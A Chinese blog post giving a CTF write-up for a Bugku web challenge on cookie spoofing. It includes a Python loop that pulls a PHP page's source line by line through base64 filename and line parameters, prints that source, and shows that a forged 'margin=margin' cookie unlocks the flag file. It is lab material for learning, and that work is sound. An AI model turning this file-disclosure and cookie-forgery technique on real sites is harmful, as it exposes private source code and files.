cookie欺骗(bugku)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/destiny1507/article/details/82462290

利用cookie值进行攻击;

完全没有一点经验,看到这个提示,我唯一能想到的就是用burpsuite抓包后修改一下cookie值,也许会有些什么东西;可是抓包后完全无从下手……

然后有没有发现这道题的url跟其他的有些不一样呢?后面有一串很奇怪的参数,这熟悉的“=”,应该是base64编码,拿去解码一下:原来是&fillename=key.txt;

另外url里还有一个参数:line,它没有任何值,那我们试着加上一个,line=2,发现出来了一行代码,改成3,换成了另外一行代码,那我们可以写一个脚本来把所有的代码显示出来:

import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print(s.text)

运行后果然发现了一个程序:

<?php


error_reporting(0);


$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");


$line=isset($_GET['line'])?intval($_GET['line']):0;


if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");


$file_list = array(


'0' =>'keys.txt',


'1' =>'index.php',


);


 


if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){


$file_list[2]='keys.php';


}


 


if(in_array($file, $file_list)){


$fa = file($file);


echo $fa[$line];


}


?>

然后发现了cookie:margin=margin;

用burpsuite改包后发送就可以出flag了;

猜你喜欢

转载自blog.csdn.net/destiny1507/article/details/82462290